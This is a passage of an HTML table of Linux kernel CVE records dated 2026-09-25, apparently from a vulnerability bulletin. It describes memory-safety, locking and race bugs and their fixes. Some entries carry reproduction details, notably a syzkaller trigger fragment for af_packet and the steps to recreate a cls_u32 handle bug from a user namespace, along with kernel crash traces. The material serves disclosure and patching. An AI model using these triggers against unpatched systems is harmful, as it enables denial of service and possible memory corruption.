&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98087&quot; target=&quot;_blank&quot;&gt;CVE-2026-98087&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: scsi: mpt3sas: Avoid out-of-bounds cpumask_of_node() call in _base_assign_reply_queues() dev_to_node() can return NUMA_NO_NODE (-1) on systems without NUMA topology information for the PCI device, such as single-socket boards that don&#039;t expose device-to-node affinity. Passing -1 directly into cpumask_of_node() indexes node_to_cpumask_map[-1], an out-of-bounds array read caught by UBSAN: UBSAN: array-index-out-of-bounds in arch/x86/include/asm/topology.h:72:28 index -1 is out of range for type &#039;cpumask *[1024]&#039; Fall back to cpu_online_mask when no NUMA node is available, rather than assuming dev_to_node() always returns a valid node index.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98088&quot; target=&quot;_blank&quot;&gt;CVE-2026-98088&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bonding: alb: fix uninitialized transport header access in alb_determine_nd() alb_determine_nd() uses icmp6_hdr(skb) to inspect ICMPv6 headers. However, in xmit paths (e.g. packets sent via AF_PACKET / raw sockets or forwarded packets), skb-&amp;gt;transport_header is not guaranteed to be initialized. While pskb_network_may_pull() ensures the packet data is linear starting from the network header, it does not set or adjust the transport header offset. Dereferencing icmp6_hdr(skb) can therefore access out-of-bounds memory. Fetch the icmp6hdr directly after ipv6hdr following pskb_network_may_pull(), and reload ipv6hdr in case pskb_may_pull() reallocated skb-&amp;gt;head. Also remove the unused bond argument from alb_determine_nd().&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98089&quot; target=&quot;_blank&quot;&gt;CVE-2026-98089&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: btrfs: restore active device pointers after failed sprout btrfs_init_new_device() switches latest_dev and possibly s_bdev from the seed device to the new sprout device before creating the first writable chunks. If chunk creation or the subsequent sprout setup fails, the error path releases the new device without switching those pointers back. btrfs_show_devname() can then dereference the freed latest_dev and crash. Restore the active device pointers to the latest seed device before removing and releasing the failed sprout device.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98090&quot; target=&quot;_blank&quot;&gt;CVE-2026-98090&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: btrfs: detach failed sprout device from transaction update list When creating the first metadata chunk for a sprout filesystem, create_chunk() adds the new device to the transaction dev_update_list through device-&amp;gt;post_commit_list. If the subsequent system chunk creation fails, btrfs_init_new_device() aborts the transaction and releases the device while post_commit_list is still linked. This triggers a warning in btrfs_free_device() and leaves the transaction list referencing freed memory. Detach the device while holding chunk_mutex before releasing it.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98091&quot; target=&quot;_blank&quot;&gt;CVE-2026-98091&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ASoC: amd: yc: fix memory leak in acp6x_pdm_dma_close() acp6x_pdm_dma_close() does not free the runtime-&amp;gt;private_data buffer allocated in acp6x_pdm_dma_open(). Add the missing kfree.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98092&quot; target=&quot;_blank&quot;&gt;CVE-2026-98092&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ASoC: fsl_micfil: balance mclk enable/disable hw_params() enables mclk unconditionally and hw_free() disables it unconditionally, but the PCM core does not guarantee 1:1 pairing: hw_free() can run without hw_params(), and hw_params() can be called multiple times from the SETUP state. This triggers an &quot;already disabled&quot; WARN() in the first case and leaks an enable reference in the second, leaving the clock ungateable. Guard both sides with the existing mclk_flag, as fsl_sai.c does with mclk_streams.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98093&quot; target=&quot;_blank&quot;&gt;CVE-2026-98093&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: staging: fbtft: make dirty_lock IRQ-safe fbtft_mkdirty() can be reached from the fbcon rendering path while processing printk() in hardirq context. Meanwhile, dirty_lock is also taken by fbtft_deferred_io() in workqueue context with local interrupts enabled. Lockdep reports a possible IRQ lock inversion involving dirty_lock and console_owner. A hardirq can interrupt a CPU holding dirty_lock and enter the console rendering path, which can attempt to acquire dirty_lock again. The following lockdep report was observed on an RK3566 system with CONFIG_PROVE_LOCKING enabled: WARNING: possible irq lock inversion dependency detected swapper/2/0 just changed the state of lock: (console_owner){-...}-{0:0} but this lock took another, HARDIRQ-unsafe lock in the past: (&amp;amp;par-&amp;gt;dirty_lock){+.+.}-{2:2} CPU0 CPU1 ---- ---- lock(&amp;amp;par-&amp;gt;dirty_lock); local_irq_disable(); lock(console_owner); lock(&amp;amp;par-&amp;gt;dirty_lock); &amp;lt;Interrupt&amp;gt; lock(console_owner); *** DEADLOCK *** Use spin_lock_irqsave() for fbtft_mkdirty() and spin_lock_irq() for fbtft_deferred_io(). They only access the dirty line range, so the IRQ-off regions remain short.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98094&quot; target=&quot;_blank&quot;&gt;CVE-2026-98094&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: af_packet: Don&#039;t cast tpacket_hdr.tp_len to int in tpacket_parse_header(). syzbot reported BUG() in sock_sendmsg_nosec(). [0] The problem is that tpacket_parse_header() casts user-provided tpacket_hdr.tp_len, which is u32, to int. If the length is larger than INT_MAX, the following condition in tpacket_parse_header() passes, if (unlikely(tp_len &amp;gt; size_max)) and any negative value can be returned to the caller, up to sock_sendmsg_nosec(). The repro set tpacket_hdr.tp_len to 0xfffffdef, which is cast to -EIOCBQUEUED (-529), triggering BUG() in sock_sendmsg_nosec(). *(uint64_t*)0x200000000008 = 0xfffffdef; ... syscall(__NR_write, /*fd=*/r[0], /*buf=*/0x200000000000ul, /*count=*/1ul); Let&#039;s define the local tp_len as u32 in tpacket_parse_header(). [0]: kernel BUG at net/socket.c:803! Oops: invalid opcode: 0000 [#1] SMP KASAN PTI CPU: 0 UID: 0 PID: 5628 Comm: syz-executor176 Not tainted syzkaller #0 PREEMPT(full) Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/24/2026 RIP: 0010:sock_sendmsg_nosec+0x145/0x180 net/socket.c:803 Code: 06 67 48 0f b9 3a eb 95 e8 e8 3a 22 f8 48 89 df 4c 89 f6 4c 89 e2 4d 89 fb 2e e8 32 a5 5c 16 e9 51 ff ff ff e8 cc 3a 22 f8 90 &amp;lt;0f&amp;gt; 0b e8 c4 3a 22 f8 48 83 c3 18 48 89 d8 48 c1 e8 03 42 80 3c 28 RSP: 0018:ffffc90003aefb48 EFLAGS: 00010293 RAX: ffffffff89a578d4 RBX: ffff8880764c67c0 RCX: ffff88807fb23e80 RDX: 0000000000000000 RSI: 00000000fffffdef RDI: 00000000fffffdef RBP: 00000000fffffdef R08: ffffc90003aef747 R09: 1ffff9200075dee8 R10: dffffc0000000000 R11: fffff5200075dee9 R12: 0000000000000001 R13: dffffc0000000000 R14: ffffc90003aefbc0 R15: ffffffff8aac4310 FS: 000055559101b400(0000) GS:ffff888124ce0000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 0000200000000210 CR3: 0000000073dca000 CR4: 00000000003526f0 Call Trace: &amp;lt;TASK&amp;gt; __sock_sendmsg net/socket.c:815 [inline] sock_write_iter+0x2de/0x3e0 net/socket.c:1266 new_sync_write fs/read_write.c:595 [inline] vfs_write+0x612/0xba0 fs/read_write.c:687 ksys_write+0x150/0x270 fs/read_write.c:739 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline] do_syscall_64+0x166/0x520 arch/x86/entry/syscall_64.c:84 entry_SYSCALL_64_after_hwframe+0x77/0x7f RIP: 0033:0x7f173130ecb9 Code: c0 79 93 eb d5 48 8d 7c 1d 00 eb 99 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 &amp;lt;48&amp;gt; 3d 01 f0 ff ff 73 01 c3 48 c7 c1 d8 ff ff ff f7 d8 64 89 01 48 RSP: 002b:00007ffd67e44248 EFLAGS: 00000246 ORIG_RAX: 0000000000000001 RAX: ffffffffffffffda RBX: 0000200000000000 RCX: 00007f173130ecb9 RDX: 0000000000000001 RSI: 0000200000000000 RDI: 0000000000000003 RBP: 0000000000000001 R08: 0000000000000000 R09: 0000000000000000 R10: 0000000000000000 R11: 0000000000000246 R12: 00007ffd67e44388 R13: 0000000000000002 R14: 00002000000000c0 R15: 0000000000000002 &amp;lt;/TASK&amp;gt;&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98095&quot; target=&quot;_blank&quot;&gt;CVE-2026-98095&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: tipc: Dont send random pad bytes in RESET/ACTIVATE messages The interface name is passed in a fixed length (TIPC_MAX_IF_NAME) buffer. Replace the strcpy(data, l-&amp;gt;if_name) with memcpy() so that the pad bytes are actually written (l-&amp;gt;if_name[] is zero padded) rather than sending random bytes from the skb to the remote system. Replace two other strcpy() with strscpy().&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98097&quot; target=&quot;_blank&quot;&gt;CVE-2026-98097&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: tipc: fix NULL deref in tipc_named_node_up() on empty publication list User-space applications can bind a large number of service addresses to one or more sockets. Each binding of a local-scope service address inserts one entry (publication) into the TIPC name table. If the number of these publications exceeds TIPC_MAX_PUBL (65535), protocol service types (such as node state and link state) are no longer inserted into the name table. This causes two issues: 1. User-space applications subscribing to node or link up/down events stop receiving notifications. 2. A NULL pointer dereference can occur: BUG: kernel NULL pointer dereference, address: 00000000000000d0 ... CPU: 0 UID: 0 PID: 0 Comm: swapper/0 Not tainted 7.2.0-rc4-default+ #5 PREEMPT(full) ... RIP: 0010:tipc_named_node_up (./include/linux/skbuff.h:2251 net/tipc/name_distr.c:195 net/tipc/name_distr.c:221) ... Call Trace: &amp;lt;IRQ&amp;gt; tipc_node_write_unlock (net/tipc/node.c:428) tipc_rcv (net/tipc/node.c:934 net/tipc/node.c:2189) tipc_udp_recv (net/tipc/udp_media.c:389) Thread 1 (tipc_net_finalize) | Thread 2 (named_distribute) -----------------------------|----------------------------- | ... | list_for_each_entry(publ, pls, binding_node) { | ... | __skb_queue_tail(list, skb); | ... | } | ... | hdr = buf_msg(skb_peek_tail(list)); ... | tipc_nametbl_publish(); | If &#039;tipc_nametbl_publish()&#039; (Thread 1) fails because the number of local publications reaches TIPC_MAX_PUBL, list (Thread 2) will be empty. As a result, NULL is passed to &#039;buf_msg()&#039;, leading to a NULL pointer dereference. Fix these issues by allowing protocol service types (node state, link state, and topology server) to be inserted into the name table unconditionally. This ensures that users subscribing to these types always receive notifications. In addition, the maximum number of local user publications is reduced to (TIPC_MAX_PUBL - 1). This ensures that the maximum bulk size calculated in tipc_link_set_queue_limits() remains valid.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98098&quot; target=&quot;_blank&quot;&gt;CVE-2026-98098&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ipv6: mcast: use rcu_assign_pointer() for __rcu list updates Several places in net/ipv6/mcast.c update RCU-protected lists (np-&amp;gt;ipv6_mc_list, idev-&amp;gt;mc_list, idev-&amp;gt;mc_tomb) using direct pointer assignments instead of rcu_assign_pointer(): 1. In __ipv6_dev_mc_dec(), unlinking a group from idev-&amp;gt;mc_list did: *map = ma-&amp;gt;next; without rcu_assign_pointer() while concurrent readers traverse idev-&amp;gt;mc_list locklessly under rcu_read_lock(). 2. In ipv6_sock_mc_drop() and __ipv6_sock_mc_close(), unlinking a group from np-&amp;gt;ipv6_mc_list directly assigned *lnk = mc_lst-&amp;gt;next and np-&amp;gt;ipv6_mc_list = mc_lst-&amp;gt;next without rcu_assign_pointer(), racing with lockless readers in inet6_mc_check(). 3. In __ipv6_sock_mc_join(), mc_lst-&amp;gt;next was initialized to np-&amp;gt;ipv6_mc_list via raw assignment before publishing mc_lst. 4. In mld_del_delrec() and __ipv6_dev_mc_inc(), __rcu source pointers passed into rcu_assign_pointer() lacked explicit dereference helpers. Fix these by consistently using rcu_assign_pointer() along with mc_dereference() / sock_dereference().&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98099&quot; target=&quot;_blank&quot;&gt;CVE-2026-98099&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ipv6: mcast: use copy-on-write RCU updates in ip6_mc_source() pmc-&amp;gt;sflist is read locklessly under rcu_read_lock() by inet6_mc_check() during packet reception in the UDP and RAW multicast receive paths. ip6_mc_source() mutated psl-&amp;gt;sl_addr and psl-&amp;gt;sl_count in-place when adding or removing a source filter. Additionally, when expanding the filter buffer, newpsl was published via rcu_assign_pointer() before writing the new source into the array. Because 16-byte struct in6_addr writes are not atomic and array shifting is not synchronized with RCU readers, concurrent readers in inet6_mc_check() could read torn IPv6 addresses or observe duplicated/missed source entries. Fix this by switching ip6_mc_source() to copy-on-write RCU updates: allocate and fully populate newpsl before publishing it via rcu_assign_pointer(), and reclaim the old filter via kfree_rcu(), matching ip6_mc_msfilter(). Also remove the now unused IP6_SFBLOCK macro.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98101&quot; target=&quot;_blank&quot;&gt;CVE-2026-98101&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ipv6: mcast: fix RCU list diversion in ip6_mc_del1_src() When removing a source filter whose count reaches zero, ip6_mc_del1_src() unlinks psf from pmc-&amp;gt;mca_sources. If the filter was previously active, the code moved psf directly into pmc-&amp;gt;mca_tomb by updating psf-&amp;gt;sf_next. Because pmc-&amp;gt;mca_sources is traversed locklessly under RCU (e.g. by ipv6_chk_mcast_addr()), mutating psf-&amp;gt;sf_next before a grace period elapses diverts concurrent readers to the tombstone list. Consequently, readers miss remaining active sources in pmc-&amp;gt;mca_sources and improperly examine deleted tombstone entries. Fix this by allocating a new tombstone node for pmc-&amp;gt;mca_tomb (as done in sf_setstate()) and retiring the original psf via kfree_rcu().&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98102&quot; target=&quot;_blank&quot;&gt;CVE-2026-98102&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: igmp: convert struct ip_sf_list to RCU Commit 23d2b94043ca (&quot;igmp: Add ip_mc_list lock in ip_check_mc_rcu&quot;) added spin_lock_bh(&amp;amp;im-&amp;gt;lock) to ip_check_mc_rcu() to prevent a use-after-free while iterating im-&amp;gt;sources during concurrent deletions. However, ip_check_mc_rcu() is called from RCU read-side critical sections in packet receive and route lookup fast paths (e.g. __mkroute_output(), ip_route_input_rcu(), and __udp4_lib_rcv()). When igmpv3_send_cr() or igmpv3_send_report() holds &amp;amp;pmc-&amp;gt;lock and calls add_grec() -&amp;gt; igmpv3_newpack() -&amp;gt; ip_route_output_ports(), an XFRM policy matching a multicast destination triggers xfrm_tmpl_resolve_one() -&amp;gt; xfrm4_get_saddr() -&amp;gt; __mkroute_output() -&amp;gt; ip_check_mc_rcu(). This attempts to acquire &amp;amp;im-&amp;gt;lock while &amp;amp;pmc-&amp;gt;lock is already held on the same CPU, triggering a lockdep recursive locking warning / deadlock. Fix this by converting IPv4 struct ip_sf_list to RCU, mirroring the IPv6 implementation in net/ipv6/mcast.c: 1. Add struct rcu_head to struct ip_sf_list and annotate sf_next, sources, and tomb as __rcu pointers. 2. Use rcu_assign_pointer() and kfree_rcu() for list updates and deletions. 3. Remove spin_lock_bh(&amp;amp;im-&amp;gt;lock) from ip_check_mc_rcu() and traverse im-&amp;gt;sources locklessly with for_each_psf_rcu(), reading and writing counter fields with READ_ONCE() and WRITE_ONCE(). Note: RCU conversion of /proc/net/mcfilter will be done in a separate patch.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98103&quot; target=&quot;_blank&quot;&gt;CVE-2026-98103&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net/sched: cls_u32: fix duplicate handle when node ID pool is exhausted gen_new_kid() falls back to returning max (htid | 0xFFF) when both idr_alloc_u32() ranges are full, instead of reporting an error. u32_change() trusts that value and inserts a new knode with a handle that is already live in the hash table, breaking handle uniqueness within the table&#039;s node ID space. The handle was never reserved in ht-&amp;gt;handle_idr, so every later error path that does idr_remove(&amp;amp;ht-&amp;gt;handle_idr, handle) removes the reservation of a different, live knode, which is then reused - one failed add compounds into further duplicates. The 4095 limit is per (table, bucket) - ht-&amp;gt;handle_idr is per hash table and the range is derived from htid (bucketid), so a table with divisor 256 can legitimately hold 256*4095 knodes. The sibling helper gen_new_htid() has the same silent in-band failure: it returns 0 when the tp_c handle pool (1..0x7FF) is full, and u32_init() publishes the root hash table with handle 0 without checking. Two root tables with handle 0 alias in u32_lookup_ht(), allowing cross-tcf_proto knode add/lookup/delete. Add the same exhaustion check that the divisor path already has. Return an error so u32_change() fails with ENOSPC/ENOMEM when the node ID space is exhausted, and so u32_init() fails with -ENOMEM when the hash table ID space is exhausted. The extack message distinguishes pool exhaustion (-ENOSPC) from a transient allocation failure (-ENOMEM). Conditions to recreate the bug: - CONFIG_NET_SCHED=y, CONFIG_CLS_U32=y (or =m with module loaded) - Create a clsact qdisc on a device, then add 4095 u32 filters with auto-generated handles to fill the node ID space for the root hash table (single bucket). The 4096th auto-handle filter add triggers the duplicate handle (fh 800::fff reused). Reachable at Level 2 (unshare -Urn, namespace-local CAP_NET_ADMIN). - For gen_new_htid: create 2047 u32 proto entries on the same block to fill the tp_c handle pool, then create one more. The root table gets handle 0 and aliases with other handle-0 root tables.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98104&quot; target=&quot;_blank&quot;&gt;CVE-2026-98104&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net: ethernet: oa_tc6: Improve the error recovery When oversubscribed traffic causes lot of buffer overflow errors, probably due to loss of data chunks, driver fails to find a data chunk with end_valid bit set, before it runs out of sk buffer space. As a result, assert is seen during skb_put. Now, check is made if skb buffer has enough tailroom for the incoming data before accepting. If there is no room, current frame is abandoned and it will start looking for a data chunk with start_valid bit, that is a new frame. SK buffer allocation error is considered as recoverable error. rx_buf_overflow flag is too specific and no longer the only condition this flag is used for. Therefore it is renamed as wait_until_start_valid. This is more appropriate as this flag is used to look for the next data chunk with SV bit set, after failures like buffer overflow, buffer allocation failure, skb pointer validity besides buffer overflow error. Not writing to status0 if it reads 0.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98105&quot; target=&quot;_blank&quot;&gt;CVE-2026-98105&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/pagemap: Prevent double migration of device pages A device-private folio migrated to system memory by a CPU fault can remain reachable through the raw-PFN eviction path until migration finalization drops the source reference. If eviction selects the same device-private folio during this window, it can attempt to migrate the folio again. The second migration can leave an uncharged folio on an LRU list, causing folio_lruvec_lock_irqsave() to retry indefinitely and resulting in a soft lockup and RCU stall. Mark successfully migrated device-private folios using a low bit of their zone_device_data before migration finalization. Make both CPU-fault and raw-PFN migration paths skip device-private folios carrying this flag. Mask the flag when retrieving the drm_pagemap_zdd pointer and preserve it when a device-private folio is split. Keeping the state on the physical folio also avoids depending on a virtual address that may change before a fault occurs. v2: - Replace the retired-PFN XArray with an embedded bitmap. (Matthew Brost) - Mark every base page covered by a migrated folio so retirement remains valid if the folio is later split. v3: - Store the migrated state in a low bit of zone_device_data instead of adding virtual-range and bitmap tracking to the ZDD. (Matthew Brost) - Mask the flag when retrieving the ZDD and preserve it when splitting a folio. - Drop the pre-existing fixes already covered by Matthew Brost&#039;s series: https://patchwork.freedesktop.org/series/171651/ v4: - Advance by the folio size only for migration entries marked with MIGRATE_PFN_COMPOUND. (Sashiko) v5: - Simplify ZDD flag updates and folio iteration. (Matthew Brost) - Skip retired device-private folios in the CPU-fault path. (Matthew Brost) - Preserve flag bits while taking a new ZDD reference for split folios. v6: - Restore MIGRATE_PFN_COMPOUND-aware stepping so non-compound migration entries are processed one at a time. (Sashiko) - Drop the pre-existing fixes already covered by Matthew Brost&#039;s series: https://patchwork.freedesktop.org/series/171651/ The lockup was observed as: [10109.860465] watchdog: BUG: soft lockup - CPU#9 stuck for 26s! [kworker/u65:5:6557] [10109.860524] Tainted: [S]=CPU_OUT_OF_SPEC, [O]=OOT_MODULE [10109.860524] Hardware name: ASUS System Product Name/PRIME Z790-P WIFI, BIOS 0812 02/24/2023 [10109.860525] Workqueue: xe_page_fault_work_queue xe_pagefault_queue_work [xe] [10109.860644] RIP: 0010:_raw_spin_unlock_irqrestore+0x57/0x80 [10109.860655] Call Trace: [10109.860655] &amp;lt;TASK&amp;gt; [10109.860657] folio_lruvec_lock_irqsave+0x216/0x220 [10109.860661] ? __pfx_lru_add+0x10/0x10 [10109.860665] folio_batch_move_lru+0xc8/0x450 [10109.860670] ? lock_acquire+0xc4/0x2d0 [10109.860674] ? __folio_batch_add_and_move+0x60/0x2e0 [10109.860677] ? folio_migrate_mapping+0xa6/0x110 [10109.860679] ? folio_migrate_flags+0x13b/0x1b0 [10109.860681] ? __pfx_lru_add+0x10/0x10 [10109.860683] __folio_batch_add_and_move+0xe7/0x2e0 [10109.860685] ? dma_iova_try_alloc+0xb0/0x140 [10109.860689] folio_add_lru+0x64/0x80 [10109.860691] __migrate_device_finalize+0x12c/0x270 [10109.860695] migrate_device_finalize+0x10/0x20 [10109.860698] drm_pagemap_evict_to_ram+0x185/0x370 [drm_gpusvm_helper] [10109.860704] ? drm_pagemap_evict_to_ram+0x96/0x370 [drm_gpusvm_helper] [10109.860709] xe_svm_bo_evict+0x15/0x20 [xe] [10109.860819] ? xe_svm_bo_evict+0x15/0x20 [xe] [10109.860921] xe_bo_move+0x107e/0x1570 [xe] [10109.860992] ? xe_ttm_tt_create+0x168/0x340 [xe] [10109.861059] ? __up_read+0x98/0x2b0 [10109.861061] ? lock_is_held_type+0xa3/0x130 [10109.861067] ttm_bo_handle_move_mem+0xe8/0x1e0 [ttm] [10109.861075] ttm_bo_evict+0x141/0x1c0 [ttm] [10109.861081] ttm_bo_evict_cb+0x9f/0x100 [ttm] [10109.861086] ttm_lru_walk_for_evict+0x84/0x190 [ttm] [10109.861091] ? xe_ttm_vram_mgr_new+0x258/0x3a0 [xe] [10109.861198] ttm_bo_alloc_resource+0x219/0 ---truncated---&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98106&quot; target=&quot;_blank&quot;&gt;CVE-2026-98106&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: Bluetooth: L2CAP: fix out-of-bounds write in l2cap_ecred_connect l2cap_chan_connect() tries to ensure there are no more than L2CAP_ECRED_CONN_SCID_MAX pending ECRED channels, so they fit in the same L2CAP_ECRED_CONN_REQ that l2cap_ecred_connect() constructs. However, the check only counts deferred channels. If 6 L2CAP sockets are connected at the same time in order DDDDND (D=deferred, N=non-deferred), the last can bump the total to max+1. It results to one __le16 written out of bounds of the scid array, and an invalid ECRED_CONN_REQ being sent. Fix by leaving room for the non-deferred pending ECRED channels in the counting in l2cap_chan_connect(), so the limit can&#039;t be exceeded. Move counting under same critical section where the channel is added. Although race conditions involving this appear unreachable, it&#039;s easier to see. Also add WARN_ON_ONCE check in l2cap_ecred_defer_connect() to make this less brittle.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98107&quot; target=&quot;_blank&quot;&gt;CVE-2026-98107&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
